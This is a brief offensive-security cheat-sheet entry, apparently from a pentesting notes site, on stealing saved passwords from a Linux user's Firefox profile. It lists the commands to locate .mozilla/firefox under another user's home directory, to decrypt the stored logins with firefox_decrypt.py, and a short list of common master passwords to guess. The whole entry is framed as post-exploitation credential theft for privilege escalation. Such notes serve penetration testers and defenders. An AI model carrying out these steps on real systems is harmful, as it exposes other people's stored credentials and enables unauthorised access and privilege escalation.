FireFox Credentials Dumping

Last modified: 2024-10-03

A .mofilla directory contains a firefox directory that stores credentials. We may dump the credentials and escalate privilege using them.

Investigation

If there is a .mozilla/firefox directory in some user's home directory, we can dump credentials. So check this directory:

ls -al /home/<user>/.mozilla/

Dump Passwords from Firefox Profile

To crack it, use firefox_decrypt:

python3 firefox_decrypt.py .mozilla/firefox/<id>

If we’ll be asked the master password and we don’t know it, try common passwords.

admin
password
password1
password123
root
